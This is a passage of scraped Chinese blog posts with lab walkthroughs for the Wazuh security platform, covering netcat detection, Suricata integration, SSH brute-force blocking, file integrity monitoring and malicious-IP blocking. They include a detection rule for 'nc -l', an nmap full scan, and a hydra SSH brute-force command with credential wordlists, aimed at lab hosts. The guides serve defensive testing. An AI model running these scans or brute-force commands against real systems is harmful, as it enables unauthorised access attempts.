\u0026lt;group name=\u0026#34;ossec,\u0026#34;\u0026gt; \u0026lt;rule id=\u0026#34;100050\u0026#34; level=\u0026#34;0\u0026#34;\u0026gt; \u0026lt;if_sid\u0026gt;530\u0026lt;/if_sid\u0026gt; \u0026lt;match\u0026gt;^ossec: output: \u0026#39;process list\u0026#39;\u0026lt;/match\u0026gt; \u0026lt;description\u0026gt;List of running processes.\u0026lt;/description\u0026gt; \u0026lt;group\u0026gt;process_monitor,\u0026lt;/group\u0026gt; \u0026lt;/rule\u0026gt; \u0026lt;rule id=\u0026#34;100051\u0026#34; level=\u0026#34;7\u0026#34; ignore=\u0026#34;900\u0026#34;\u0026gt; \u0026lt;if_sid\u0026gt;100050\u0026lt;/if_sid\u0026gt; \u0026lt;match\u0026gt;nc -l\u0026lt;/match\u0026gt; \u0026lt;description\u0026gt;netcat listening for incoming connections.\u0026lt;/description\u0026gt; \u0026lt;group\u0026gt;process_monitor,\u0026lt;/group\u0026gt; \u0026lt;/rule\u0026gt; \u0026lt;/group\u0026gt; 这个配置片段定义了一个监控逻辑，专门用于在系统进程列表中检测监听模式的 netcat(nc -l)，一旦发现就产生高优先级告警。规则 100050 负责捕获进程列表数据，规则 100051 负责在其中搜索特定的威胁指标 (nc -l)。\n2）重新启动Wazuh管理器以使配置生效：\n1 sudo systemctl restart wazuh-manager 三、模拟攻击 在被监控的Kali主机（192.168.0.65）端点上，运行nc -l 8000 30秒。\nnetcat​（网络工具中的“瑞士军刀”）的命令，它的核心作用是：​在你的计算机上启动一个临时的 TCP 服务端，监听端口 8000，等待其他计算机连接并与之通信。\n监听模式的 netcat常被用作后门、端口监听器或进行未经授权的文件传输，是攻击者建立持久访问或进行横向移动的常见工具。\n四、效果验证 我们可以在Wazuh威胁狩猎模块仪表板中可看到检测到kali主机上有netcat 进行正在监听的告警并可视化展示出来。 我们点开告警详情可以看到日志中显示通过ps -e -o pid,uname,command，检测到有nc -l 8000的非法进程在运行，进行了netcat listening for incoming connections.告警输出。 至此，我们通过一个完整的POC实例验证了wuzuh对非法可疑进程的检测，能够有效发现潜在的威胁。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-10-15-%E5%BC%80%E6%BA%90%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0wazuh-%E9%9D%9E%E6%B3%95%E5%8F%AF%E7%96%91%E8%BF%9B%E7%A8%8B%E6%A3%80%E6%B5%8B/","summary":"\u003cp\u003eWazuh是一个功能强大的开源安全平台，它集成了安全信息与事件管理（SIEM）和扩展检测与响应（XDR）的能力，旨在为本地、虚拟化、容器化及云环境中的工作负载提供统一的威胁预防、检测和响应解决方案。\u003c/p\u003e","title":"开源安全管理平台wazuh-非法可疑进程检测"},{"content":"Wazuh是一个功能强大的开源安全平台，它集成了安全信息与事件管理（SIEM）和扩展检测与响应（XDR）的能力，旨在为本地、虚拟化、容器化及云环境中的工作负载提供统一的威胁预防、检测和响应解决方案。\nWazuh可以与基于网络的入侵检测系统（NIDS）集成，通过监控和分析网络流量来增强威胁检测。Suricata 是一个开源的高性能网络安全监控工具，由开放信息安全基金会（OISF）开发维护。它被广泛用于实时网络流量分析、威胁检测和防护。Suricata 是现代网络安全架构中的重要组件，特别适合需要高性能实时流量分析的场景，是构建深度防御体系的关键工具。\n本文通过POC展示如何将Suricata与Wazuh集成，并模拟对目标主机进行端口扫描，通过Suricata监控和分析网络流量进行威胁检测与Wazuh集成后在Wazuh的威胁狩猎中及时预警威胁攻击行为。\n一、环境准备 POC环境拓扑如下图所示： 主机 描述 安全管理平台wazuh-server\n(192.168.0.40) All in one安装wazuh，监控wazuh-agent、suricata上报的告警信息进行威胁检测 ubuntu应用服务器\n（192.168.0.30） ubuntu应用服务器安装wazuh-agent并与Suricata集成 ,模拟被攻击的服务器 Kali Linux模拟攻击机器\n（192.168.0.65） Kali linux ,模拟攻击机器，模拟发起恶意端口扫描攻击 二、安装Suricata 1、安装Suricata 1 2 3 sudo add-apt-repository ppa:oisf/suricata-stable sudo apt-get update sudo apt-get install suricata -y 2、下载Suricata的扩展检测规则集 1 2 3 cd /tmp/ \u0026amp;\u0026amp; curl -LO https://rules.emergingthreats.net/open/suricata-6.0.8/emerging.rules.tar.gz sudo tar -xvzf emerging.rules.tar.gz \u0026amp;\u0026amp; sudo mkdir /etc/suricata/rules \u0026amp;\u0026amp; sudo mv rules/*.rules /etc/suricata/rules/ sudo chmod 777 /etc/suricata/rules/*.rules 3、配置Surcata 在 /etc/suricata/suricata.yaml 文件中修改 Suricata 设置并设置以下变量\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 HOME_NET: \u0026#34;\u0026lt;UBUNTU_IP\u0026gt;\u0026#34; EXTERNAL_NET: \u0026#34;any\u0026#34; default-rule-path: /etc/suricata/rules rule-files: - \u0026#34;*.rules\u0026#34; # Global stats configuration stats: enabled: yes # Linux high speed capture support af-packet: - interface: ens2 接口表示您想要监控的网络接口。将值替换为 Ubuntu 端点的接口名称。\n可以通过ifconfig查看Ubuntu的网络接口，例如，我这里是ens2。 4、重启Suricata服务 1 sudo systemctl restart suricata 三、wazuh与Suricata集成 将以下配置添加到Wazuh代理的/var/ossec/etc/ossec.conf文件中。这允许Wazuh代理读取Suricata日志文件：\n1 2 3 4 5 6 \u0026lt;ossec_config\u0026gt; \u0026lt;localfile\u0026gt; \u0026lt;log_format\u0026gt;json\u0026lt;/log_format\u0026gt; \u0026lt;location\u0026gt;/var/log/suricata/eve.json\u0026lt;/location\u0026gt; \u0026lt;/localfile\u0026gt; \u0026lt;/ossec_config\u0026gt; 重新启动Wazuh代理以使配置生效\n1 sudo systemctl restart wazuh-agent 四、模拟攻击 请注意：本文介绍的模拟攻击仅限于自己搭建测试环境进行POC验证。请不要使用这些工具和方法对其它目标主机进行测试，使用这些工具前，务必获得目标系统的明确书面授权，未经授权的测试属违法行为。\n端口扫描是渗透测试的第一步，通过端口扫描可以快速发现目标主机的攻击面。使用 nmap进行端口扫描是网络安全中最基础且关键的操作之一。我们在Kali Linux主机上通过nmap对目标靶机192.168.0.30进行端口扫描看开放有哪些端口。\n1 nmap -p- -sV -O -A -T4 -Pn -oX full_scan.xml 192.168.0.30 五、效果验证 在Kali Linux主机上通过nmap对目标靶机192.168.0.30进行端口扫描的过程中，我们在192.168.0.40的wazuh server的威胁狩猎界面可以看到suricata通过流量检测识别到端口扫描的攻击行为，并通过wazuh的可视化界面进行告警的展示。\n点击可以查看告警的详情，可以看到是通过suricata发现的来自源IP192.168.0.65的nmap扫描行为。\n至此，我们通过wasuh与网络入侵检测系统（suricata）进行集成，并模拟对目标主机进行端口扫描，验证了通过Suricata监控和分析网络流量进行威胁检测与Wazuh集成后在Wazuh的威胁狩猎中及时预警威胁攻击行为。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-10-12-%E5%BC%80%E6%BA%90%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0wazuh-%E4%B8%8E%E7%BD%91%E7%BB%9C%E5%85%A5%E4%BE%B5%E6%A3%80%E6%B5%8B%E7%B3%BB%E7%BB%9F%E9%9B%86%E6%88%90%E5%A2%9E%E5%BC%BA%E5%A8%81%E8%83%81%E6%A3%80%E6%B5%8B%E8%83%BD%E5%8A%9B/","summary":"\u003cp\u003eWazuh是一个功能强大的开源安全平台，它集成了安全信息与事件管理（SIEM）和扩展检测与响应（XDR）的能力，旨在为本地、虚拟化、容器化及云环境中的工作负载提供统一的威胁预防、检测和响应解决方案。\u003c/p\u003e","title":"开源安全管理平台wazuh-与网络入侵检测系统集成增强威胁检测能力"},{"content":"Wazuh是一个功能强大的开源安全平台，它集成了安全信息与事件管理（SIEM）和扩展检测与响应（XDR）的能力，旨在为本地、虚拟化、容器化及云环境中的工作负载提供统一的威胁预防、检测和响应解决方案。\n暴力破解是网络安全领域一种常见且顽固的威胁，像Linux端点的SSH这样的服务通常容易受到暴力破解攻击，攻击者利用它来非法访问端点和服务。有效应对暴力破解需要“侦测”和“防护”双管齐下。Wazuh通过关联多个认证失败事件来识别暴力破解攻击并可以配置主动响应以阻止攻击者的IP地址。\n本文通过POC来验证wazuh对暴力破解检测与响应能力\n一、环境准备 POC环境如下图所示：\n主机 描述 安全管理平台wazuh-server\n(192.168.0.40) All in one安装wazuh，监控wazuh-agent上报的告警信息进行暴力破解检测并联动wazuh-agent进行封堵响应 ubuntu应用服务器\n（192.168.0.30） ubuntu应用服务器ssh服务，安装wazuh-agent ,模拟被攻击的服务器 Kali Linux模拟攻击机器\n（192.168.0.65） Kali linux ,模拟攻击机器 二、wazuh 配置 Wazuh使用主动响应模块在受监控端点上运行脚本或可执行文件，对某些触发器采取行动。在本用例中，我们模拟对ubuntu应用服务器端点的SSH暴力破解攻击，并配置主动响应模块以阻止攻击端点的IP地址。目标是防止SSH暴力破解攻击。\nWazuh附带一套用于主动响应的默认脚本。这些脚本位于Linux/Unix端点的/var/ossec/active-response/bin/目录中。firewall-drop主动响应脚本与Linux/Unix操作系统兼容。它使用iptables来阻止恶意IP地址。\nWazuh server配置 1、打开Wazuh服务器/var/ossec/etc/ossec.conf文件，并验证在\u0026lt;ossec_config\u0026gt;块中存在名为firewall-drop的\u0026lt;command\u0026gt;块，其配置如下：\n1 2 3 4 5 \u0026lt;command\u0026gt; \u0026lt;name\u0026gt;firewall-drop\u0026lt;/name\u0026gt; \u0026lt;executable\u0026gt;firewall-drop\u0026lt;/executable\u0026gt; \u0026lt;timeout_allowed\u0026gt;yes\u0026lt;/timeout_allowed\u0026gt; \u0026lt;/command\u0026gt; \u0026lt;command\u0026gt;块包含有关在Wazuh代理上执行的操作的信息：\n\u0026lt;name\u0026gt;：为命令设置名称。在本例中，为firewall-drop。 \u0026lt;executable\u0026gt;：指定在触发时必须运行的响应脚本或可执行文件。在本例中，是firewall-drop可执行文件。 \u0026lt;timeout_allowed\u0026gt;：允许在一段时间后超时。在此处，此标签设置为yes，表示状态性主动响应。 2、将以下 \u0026lt;active-response\u0026gt; 块添加到 Wazuh 服务器 /var/ossec/etc/ossec.conf 配置文件中：\n1 2 3 4 5 6 7 8 9 \u0026lt;ossec_config\u0026gt; \u0026lt;active-response\u0026gt; \u0026lt;disabled\u0026gt;no\u0026lt;/disabled\u0026gt; \u0026lt;command\u0026gt;firewall-drop\u0026lt;/command\u0026gt; \u0026lt;location\u0026gt;local\u0026lt;/location\u0026gt; \u0026lt;rules_id\u0026gt;5763\u0026lt;/rules_id\u0026gt; \u0026lt;timeout\u0026gt;180\u0026lt;/timeout\u0026gt; \u0026lt;/active-response\u0026gt; \u0026lt;/ossec_config\u0026gt; \u0026lt;comand\u0026gt;：指定要配置的命令。这是在上一步骤中定义的防火墙丢弃命令 firewall-drop。 \u0026lt;location\u0026gt;：指定命令执行的位置。使用本地值表示命令在触发事件发生的监控端点处执行。 \u0026lt;rules_id\u0026gt;：如果规则ID 5763 - SSHD暴力破解尝试访问系统触发，则活动响应模块将执行该命令。 \u0026lt;timeout\u0026gt;：指定活动响应操作必须持续的时间。在本用例中，模块将阻止执行暴力破解攻击的端点IP地址180秒。 3、重新启动Wazuh管理器服务以应用更改：\n1 sudo systemctl restart wazuh-manager 三、模拟攻击 我们通过Kali Linux自带的Hydra进行模拟攻击。\n请注意：本文介绍的模拟攻击仅限于自己搭建测试环境进行POC验证。请不要使用这些工具和方法对其它目标主机进行测试，使用这些工具前，务必获得目标系统的明确书面授权，未经授权的测试属违法行为。\nHydra 配合 SecLists 工具包，可以显著提升密码破解测试的效率和成功率。 SecLists 是一款在安全测试中非常受欢迎的开源集合项目，提供了各种类型的字典列表，包括但不限于用户名、密码、目录路径、子域名等。Hydra 则是一款强大的网络登录破解工具，支持多种协议。将两者结合，可以针对各种网络服务进行高效的密码暴力破解测试。 在 Kali Linux 中，SecLists 通常位于 /usr/share/seclists目录。如果系统未安装，可以使用以下命令安装：\n1 sudo apt update \u0026amp;\u0026amp; sudo apt install seclists 在Kali Linux（192.168.0.65）上执行hydra 对 192.168.0.30 进行模拟攻击\n1 hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt 192.168.0.30 ssh -t 4 -vV 四、效果验证 可以看到触发了wazuh的告警规则，在Wazuh仪表板中看到多次的登录失败的告警数据，并生成了试图暴力破解的攻击告警。 在详情中可以清楚的看到多次尝试暴力破解ssh登录 可以看到wazuh检测到有ssh暴力破解的行为并自动调用防火墙对攻击IP进行封堵，封堵180秒。 在Hydra的攻击日志可以看到，被wazuh进行响应封堵后ssh超时报错，说明已经成功阻断阻止了攻击行为。 至此，我们通过一个实际的POC实例验证了wazuh对ssh暴力破解攻击行为的检测和响应，通过“侦测”和“防护”双管齐下能有效减轻ssh暴力破解威胁攻击风险。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-10-11-%E5%BC%80%E6%BA%90%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0wazuh-%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3%E6%A3%80%E6%B5%8B%E4%B8%8E%E5%93%8D%E5%BA%94/","summary":"\u003cp\u003eWazuh是一个功能强大的开源安全平台，它集成了安全信息与事件管理（SIEM）和扩展检测与响应（XDR）的能力，旨在为本地、虚拟化、容器化及云环境中的工作负载提供统一的威胁预防、检测和响应解决方案。\u003c/p\u003e","title":"开源安全管理平台wazuh-暴力破解检测与响应"},{"content":"Wazuh是一个功能强大的开源安全平台，它集成了安全信息与事件管理（SIEM）和扩展检测与响应（XDR）的能力，旨在为本地、虚拟化、容器化及云环境中的工作负载提供统一的威胁预防、检测和响应解决方案。 文件完整性监控（File integrity monitoring FIM）有助于审计敏感文件和满足合规性要求。Wazuh内置了一个FIM模块，用于监控文件系统变化，以检测文件的创建、修改和删除。 本文通过POC来验证Wazuh的FIM功能，使用Wazuh FIM模块来检测Ubuntu和Windows端点上监控目录的变化。Wazuh FIM模块通过使用who-data审计获取有关更改用户和进程的信息来丰富告警数据。\n一、环境准备 POC环境如下图所示： 主机 描述 安全管理平台wazuh-server\n(192.168.0.40) All in one安装wazuh，监控wazuh-agent上报的告警信息进行文件完整性监控(FIM) 被监控Windows 11机器\n(192.168.0.16) 安装wazuh-agent，通过Wazuh FIM模块在此端点监控一个目录，以检测文件创建、更改和删除。 被监控Ubuntu主机\n(192.168.0.41) 安装wazuh-agent，通过Wazuh FIM模块在此端点监控一个目录，以检测文件创建、更改和删除。 二、wazuh配置 1、window机器安装wazuh并配置 1）安装wazuh-agent 在wazuh的管理端找到部署agent界面，选择window的agent安装包\nwazuh会自动生成部署agent的脚本\n在window11（192.168.0.16）机器上以管理员权限运行powershell,在powershell中运行agent安装脚本\n1 Invoke-WebRequest -Uri https://packages.wazuh.com/4.x/windows/wazuh-agent-4.13.0-1.msi -OutFile $env:tmp\\wazuh-agent; msiexec.exe /i $env:tmp\\wazuh-agent /q WAZUH_MANAGER=\u0026#39;192.168.0.40\u0026#39; WAZUH_AGENT_NAME=\u0026#39;Lenovo-L13-agent\u0026#39; 运行NET START Wazuh启动wazuh-agent，过一会就可以在wazuh服务端的dashboard中看到window 11的wazuh-agent注册上来了。\n2） 配置window端点的wazuh-agent 按照以下步骤配置Wazuh代理以监控以下目录的文件系统更改。如监控C:\\Users\\xiejava\\Desktop的文件更改。 在受监控的Windows端点上编辑C:\\Program Files (x86)\\ossec-agent\\ossec.conf配置文件。在\u0026lt;syscheck\u0026gt;块内添加监控目录。配置Wazuh监控C:\\Users\\xiejava\\Desktop目录。\n1 \u0026lt;directories check_all=\u0026#34;yes\u0026#34; report_changes=\u0026#34;yes\u0026#34; realtime=\u0026#34;yes\u0026#34;\u0026gt;C:\\Users\\xiejava\\Desktop\u0026lt;/directories\u0026gt; 使用具有管理员权限的PowerShell重新启动Wazuh代理以使配置更改生效。\n1 Restart-Service -Name wazuh 2、ubuntu主机的wazuh-agent配置 由于ubuntu主机（192.168.0.41）已经安装了wazuh-agent，只需要对wazuh-agent进行配置就可以了。 执行以下步骤以配置Wazuh代理以监控/root目录中的文件系统更改。 编辑Wazuh代理的/var/ossec/etc/ossec.conf配置文件。在\u0026lt;syscheck\u0026gt;块中添加监控的目录。配置Wazuh监控/root目录。\n1 \u0026lt;directories check_all=\u0026#34;yes\u0026#34; report_changes=\u0026#34;yes\u0026#34; realtime=\u0026#34;yes\u0026#34;\u0026gt;/root\u0026lt;/directories\u0026gt; 重新启动Wazuh代理以使配置生效\n1 sudo systemctl restart wazuh-agent 三、效果验证 1、windows端点文件完整性监控 1）文件增、删、改 在window 11(192.168.0.16)的机器的桌面上新建一个.txt文件，然后重命名为test-win11.txt，再修改test-win11.txt的内容。\n2）可视化告警监控 在wazuh的dashboard中可以看到window 11机器的完整性监控告警。 在详情中可以看到window11机器c:\\users\\xiejava\\desktop\\下文件变更的详情。 2、ubuntu主机文件完整性监控 1）文件增、删、改 在ubuntu(192.168.0.41)的机器的/root新建一个test.txt文件，然后重命名为test-ubuntu.txt，再修改test-ubuntu.txt的内容。\n2）可视化告警监控 在wazuh的dashboard中可以看到ubuntu(192.168.0.41)主机的文件完整性监控告警。 在Dashboard中可以看到FIM的统计信息包括对文件的新增、删除、修改等。 在Events中可以看到文件被修改触发的事件 可以查看具体的事件详情 至此，我们通过POC实例来验证了Wazuh的文件完整性监控FIM功能，使用Wazuh FIM模块来检测Ubuntu和Windows端点上监控目录的变化。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-10-08-%E5%BC%80%E6%BA%90%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0wazuh-%E6%96%87%E4%BB%B6%E5%AE%8C%E6%95%B4%E6%80%A7%E7%9B%91%E6%8E%A7fim/","summary":"\u003cp\u003eWazuh是一个功能强大的开源安全平台，它集成了安全信息与事件管理（SIEM）和扩展检测与响应（XDR）的能力，旨在为本地、虚拟化、容器化及云环境中的工作负载提供统一的威胁预防、检测和响应解决方案。\n文件完整性监控（File integrity monitoring FIM）有助于审计敏感文件和满足合规性要求。Wazuh内置了一个FIM模块，用于监控文件系统变化，以检测文件的创建、修改和删除。\n本文通过POC来验证Wazuh的FIM功能，使用Wazuh FIM模块来检测Ubuntu和Windows端点上监控目录的变化。Wazuh FIM模块通过使用who-data审计获取有关更改用户和进程的信息来丰富告警数据。\u003c/p\u003e","title":"开源安全管理平台wazuh-文件完整性监控FIM"},{"content":"Wazuh是一个功能强大的开源安全平台，它集成了安全信息与事件管理（SIEM）和扩展检测与响应（XDR）的能力，旨在为本地、虚拟化、容器化及云环境中的工作负载提供统一的威胁预防、检测和响应解决方案。 《开源安全管理平台wazuh-安装与配置》介绍了wazuh的安装和配置，本文基于已经完成的wazuh安装配置基础上通过POC来验证wazuh的功能，通过wazuh来阻止已知的恶意IP的访问。\n一、环境准备 POC环境如下图所示：\n主机 描述 安全管理平台wazuh-server\n(192.168.0.40) All in one安装wazuh，监控wazuh-agent上报的告警信息进行可视化展示，并联动wazuh-agent进行主动的拦截阻止 Nginx服务器\n（192.168.0.41） 安装Nginx服务及wazuh-agent Apache2服务器\n（192.168.0.43） 安装Apache2服务及wazuh-agent kali\n（192.168.0.65） Kali (模拟恶意IP主机) 以上除192.168.0.65是kali linux外，其他主机都是ubuntu。\n二、wazuh配置 1、wazuh-agent配置 1）安装nginx服务并配置wazuh-agent 在192.168.0.41上安装nginx\n1 2 sudo apt updat sudo apt install nginx 允许防火墙访问\n1 2 3 sudo ufw allow \u0026#39;Nginx Full\u0026#39; sudo ufw status sudo ufw app list 验证nginx服务状态\n1 sudo systemctl status nginx 用浏览器访问http://192.168.0.41 验证nginx服务是否正常访问 将以下内容添加到 /var/ossec/etc/ossec.conf 文件中，以配置 Wazuh 代理并监控 nginx访问日志\n1 2 3 4 \u0026lt;localfile\u0026gt; \u0026lt;log_format\u0026gt;syslog\u0026lt;/log_format\u0026gt; \u0026lt;location\u0026gt;/var/log/nginx/access.log\u0026lt;/location\u0026gt; \u0026lt;/localfile\u0026gt; 如下图所示：\n重启wazuh-agent使配置生效\n1 sudo systemctl restart wazuh-agent 2) 安装apach2并配置wazuh-agent 在192.168.0.43上安装apach2\n1 2 sudo apt update sudo apt install apache2 允许防火墙访问\n1 2 3 sudo ufw allow \u0026#39;Apache\u0026#39; sudo ufw status sudo ufw app list 验证nginx服务状态\n1 sudo systemctl status apache2 用浏览器访问http://192.168.0.43 验证apache2服务是否正常访问\n将以下内容添加到 /var/ossec/etc/ossec.conf 文件中，以配置 Wazuh 代理并监控 apache2访问日志\n1 2 3 4 \u0026lt;localfile\u0026gt; \u0026lt;log_format\u0026gt;syslog\u0026lt;/log_format\u0026gt; \u0026lt;location\u0026gt;/var/log/apache2/access.log\u0026lt;/location\u0026gt; \u0026lt;/localfile\u0026gt; 如下图所示：\n重启wazuh-agent使配置生效\n1 sudo systemctl restart wazuh-agent 2、wazuh-server配置 1）配置IP信息黑名单 下载Alienvault IP信誉数据库：\n1 sudo wget https://iplists.firehol.org/files/alienvault_reputation.ipset -O /var/ossec/etc/lists/alienvault_reputation.ipset 将攻击端点的IP地址（kali的IP地址192.168.0.65）添加到IP信誉数据库中：\n1 sudo echo \u0026#34;192.168.0.65\u0026#34; \u0026gt;\u0026gt; /var/ossec/etc/lists/alienvault_reputation.ipset 下载一个将 .ipset 格式转换为 .cdb 列表格式的脚本：\n1 sudo wget https://wazuh.com/resources/iplist-to-cdblist.py -O /tmp/iplist-to-cdblist.py 通过运行iplist-to-cdblist.py将ipset转换成.cdb 列表格式blacklist-alienvault\n1 sudo python3 /tmp/iplist-to-cdblist.py /var/ossec/etc/lists/alienvault_reputation.ipset /var/ossec/etc/lists/blacklist-alienvault 为生成的文件分配正确的权限：\n1 sudo chown wazuh:wazuh /var/ossec/etc/lists/blacklist-alienvault 确认一下恶意IP192.168.0.65是否在黑名单里\n2）配置响应模块以阻止恶意IP地址 在Wazuh服务器上的 /var/ossec/etc/rules/local_rules.xml 自定义规则集文件中添加一个自定义规则以触发Wazuh主动响应脚本。\n1 2 3 4 5 6 7 \u0026lt;group name=\u0026#34;attack,\u0026#34;\u0026gt; \u0026lt;rule id=\u0026#34;100100\u0026#34; level=\u0026#34;10\u0026#34;\u0026gt; \u0026lt;if_group\u0026gt;web|attack|attacks\u0026lt;/if_group\u0026gt; \u0026lt;list field=\u0026#34;srcip\u0026#34; lookup=\u0026#34;address_match_key\u0026#34;\u0026gt;etc/lists/blacklist-alienvault\u0026lt;/list\u0026gt; \u0026lt;description\u0026gt;IP address found in AlienVault reputation database.\u0026lt;/description\u0026gt; \u0026lt;/rule\u0026gt; \u0026lt;/group\u0026gt; 将自定义规则集加入到Wazuh server /var/ossec/etc/ossec.conf 的配置文件中\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 \u0026lt;ossec_config\u0026gt; \u0026lt;ruleset\u0026gt; \u0026lt;!-- Default ruleset --\u0026gt; \u0026lt;decoder_dir\u0026gt;ruleset/decoders\u0026lt;/decoder_dir\u0026gt; \u0026lt;rule_dir\u0026gt;ruleset/rules\u0026lt;/rule_dir\u0026gt; \u0026lt;rule_exclude\u0026gt;0215-policy_rules.xml\u0026lt;/rule_exclude\u0026gt; \u0026lt;list\u0026gt;etc/lists/audit-keys\u0026lt;/list\u0026gt; \u0026lt;list\u0026gt;etc/lists/amazon/aws-eventnames\u0026lt;/list\u0026gt; \u0026lt;list\u0026gt;etc/lists/security-eventchannel\u0026lt;/list\u0026gt; \u0026lt;list\u0026gt;etc/lists/blacklist-alienvault\u0026lt;/list\u0026gt; \u0026lt;!-- User-defined ruleset --\u0026gt; \u0026lt;decoder_dir\u0026gt;etc/decoders\u0026lt;/decoder_dir\u0026gt; \u0026lt;rule_dir\u0026gt;etc/rules\u0026lt;/rule_dir\u0026gt; \u0026lt;/ruleset\u0026gt; \u0026lt;/ossec_config\u0026gt; 将活动响应块添加到Wazuh服务器/var/ossec/etc/ossec.conf 文件: 防火墙丢弃命令与Ubuntu本地iptables防火墙集成，并丢弃来自攻击端点的网络连接60秒\n1 2 3 4 5 6 7 8 9 \u0026lt;ossec_config\u0026gt; \u0026lt;active-response\u0026gt; \u0026lt;disabled\u0026gt;no\u0026lt;/disabled\u0026gt; \u0026lt;command\u0026gt;firewall-drop\u0026lt;/command\u0026gt; \u0026lt;location\u0026gt;local\u0026lt;/location\u0026gt; \u0026lt;rules_id\u0026gt;100100\u0026lt;/rules_id\u0026gt; \u0026lt;timeout\u0026gt;60\u0026lt;/timeout\u0026gt; \u0026lt;/active-response\u0026gt; \u0026lt;/ossec_config\u0026gt; 重新启动Wazuh管理器以应用更改生效：\n1 sudo systemctl restart wazuh-manager 三、效果验证 1、模拟攻击 用kali(192.168.0.65)访问 http://192.168.0.41和http://192.168.0.43 攻击端点首次连接到受害者的Web服务器。首次连接后，Wazuh主动响应模块临时阻止对Web服务器的任何后续连接60秒。\n通过浏览器访问可以看到首次访问后每次都会被阻止60秒才能继续访问。\n通过curl http://192.168.0.41和curl http://192.168.0.43 首次可以返回信息，每次过60秒才能再次返回信息。\n2、可视化效果验证 可以在Wazuh仪表板中可视化警报数据。在威胁狩猎模块，添加过滤器以查询警报。\n在威胁狩猎模块可以看到有恶意IP地址在信誉库中被匹配到的告警，被防火墙自动阻断响应的告警以及60秒以后自动解除阻断的处置信息。\n在详情信息中可以看到攻击阻止的详细信息，通过攻击源IP匹配到了信誉库的黑名单，触发了防火墙封堵规则进行了自动封堵。\n至此，我们通过一个完整的POC验证了wazuh发现恶意IP攻击到自动封堵阻止攻击的全过程。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-10-07-%E5%BC%80%E6%BA%90%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0wazuh-%E9%98%BB%E6%AD%A2%E6%81%B6%E6%84%8Fip%E8%AE%BF%E9%97%AE/","summary":"\u003cp\u003eWazuh是一个功能强大的开源安全平台，它集成了安全信息与事件管理（SIEM）和扩展检测与响应（XDR）的能力，旨在为本地、虚拟化、容器化及云环境中的工作负载提供统一的威胁预防、检测和响应解决方案。\n《\u003ca href=\"https://blog.csdn.net/fullbug/article/details/152279929\"\u003e开源安全管理平台wazuh-安装与配置\u003c/a\u003e》介绍了wazuh的安装和配置，本文基于已经完成的wazuh安装配置基础上通过POC来验证wazuh的功能，通过wazuh来阻止已知的恶意IP的访问。\u003c/p\u003e","title":"开源安全管理平台wazuh-阻止恶意IP访问"},{"content":"Wazuh是一个功能强大的开源安全平台，它集成了安全信息与事件管理（SIEM）和扩展检测与响应（XDR）的能力，旨在为本地、虚拟化、容器化及云环境中的工作负载提供统一的威胁预防、检测和响应解决方案。\nWazuh的核心能力如下：\n核心功能 核心功能说明 威胁检测与响应 提供入侵检测（如恶意软件、Rootkit检测）、日志数据分析、文件完整性监控以及主动响应（如自动封禁IP）等能力。 资产与漏洞管理 自动进行资产盘点（端口、进程、应用等），并关联CVE数据库实现漏洞检测，帮助识别系统弱点。 合规性与配置评估​ 支持PCI DSS、GDPR、HIPAA等多种合规标准，提供预定义的检查策略和自动化报告生成功能。 云与容器安全​ 支持通过API监控AWS、Azure、Google Cloud等云环境，并能与Docker引擎集成，监控容器镜像、配置和运行时行为。 架构与可扩展性 采用代理/服务器架构，支持Windows、Linux、macOS等多种操作系统，并拥有灵活的规则引擎，允许用户自定义检测规则。 核心组件与工作方式 Wazuh的典型架构主要包含三个组件，它们协同工作以提供完整的安全防护闭环： Wazuh代理（Agent）​​：这是安装在需要保护的端点（如服务器、笔记本电脑、云实例）上的轻量级软件。它负责收集日志、监控文件完整性、扫描系统配置和漏洞，并将这些数据安全地发送给中央管理器。 Wazuh服务器（Server）​​：作为大脑，服务器接收来自所有代理的数据，并通过内置的解码器和规则引擎进行分析，以识别潜在的安全威胁和异常活动。它还可以管理代理的配置和升级。 Wazuh索引器（Index）​​：Wazuh索引器是一个高度可扩展的全文本搜索和分析引擎。这个中央组件索引并存储由Wazuh服务器生成的警报。 Wazuh仪表盘（dashboard）：Wazuh仪表盘是数据可视化和分析的网络用户界面。它包括用于威胁狩猎、合规性（例如，PCI DSS、GDPR、CIS、HIPAA、NIST 800-53）的现成仪表盘，检测到的易受攻击的应用程序，文件完整性监控数据，配置评估结果，云基础设施监控事件以及其他内容。它还用于管理Wazuh配置并监控其状态。 主要应用场景 基于上述特点，Wazuh可以在多种环境中发挥重要作用：\n企业网络安全​：保护企业内网中的服务器和终端设备，检测和响应来自内部和外部的安全威胁，如SSH暴力破解、Web应用攻击等。 满足合规性要求​：对于需要遵守PCI DSS、GDPR（通用数据保护条例）等法规的组织，Wazuh的自动化合规检查和报告功能可以显著降低审计复杂度。 云原生环境防护​：在混合云或多云环境中，Wazuh能提供统一的安全视图，监控云基础设施的配置风险（如公开的S3存储桶）和容器化应用的安全。 安装与配置 1、资源要求 wazuh安装的硬件需求高度依赖于受保护端点数量和云工作负载。 以下配置在同一主机上all in one部署Wazuh服务器、Wazuh索引器和Wazuh仪表板。这通常足以监控多达100个端点，并存储90天的可查询/索引警报数据。下表显示了all in one部署的推荐硬件：\nAgents CPU RAM Storage (90 days) 1-25 4 vCPU 8 GiB 50 GB 25–50 8 vCPU 8 GiB 100 GB 50–100 8 vCPU 8 GiB 200 GB 